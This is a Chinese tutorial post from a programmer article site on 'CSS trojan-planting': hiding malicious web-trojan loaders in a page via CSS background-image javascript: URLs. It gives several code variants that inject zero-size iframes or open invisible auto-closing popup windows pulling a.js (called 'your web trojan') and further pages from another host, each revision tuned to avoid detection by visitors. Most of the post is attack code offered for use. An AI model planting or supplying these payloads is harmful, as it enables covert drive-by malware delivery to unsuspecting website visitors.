真正能用,还有点效果的CSS挂马代码的方法 程序员文章站 2022-07-07 19:16:39 网上流行的: body { background-image: url('javascript:document.write(" 网上流行的: body { background-image: url('javascript:document.write("<iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")') } //此方法会使主页不正常.返回一片空白. 用弹窗. body { background-image: url('javascript:open("http://192.168.0.5/test.htm")') } //弹出一个框.难看 易被发现. 改进一下: body { background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')) } test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示: <script src="a.js"></script> <script> window.opener=null;settimeout("window.close();",5000); </script> a.js内容: document.write('<iframe src="http://192.168.0.5/calc.htm"></iframe>'); 请指教. 相关标签: 真正能用 还有点效果的CSS挂马代码的方法 上一篇: Word窗口图标变得很大很模糊看起来及其不雅观的解决方法 下一篇: 攻击方式学习之SQL注入(SQL Injection)第3/3页 推荐阅读 真正能用,还有点效果的CSS挂马代码的方法 真正能用,还有点效果的CSS挂马代码的方法 真正能用,还有点效果的CSS挂马代码的方法 真正能用,还有点效果的CSS挂马代码的方法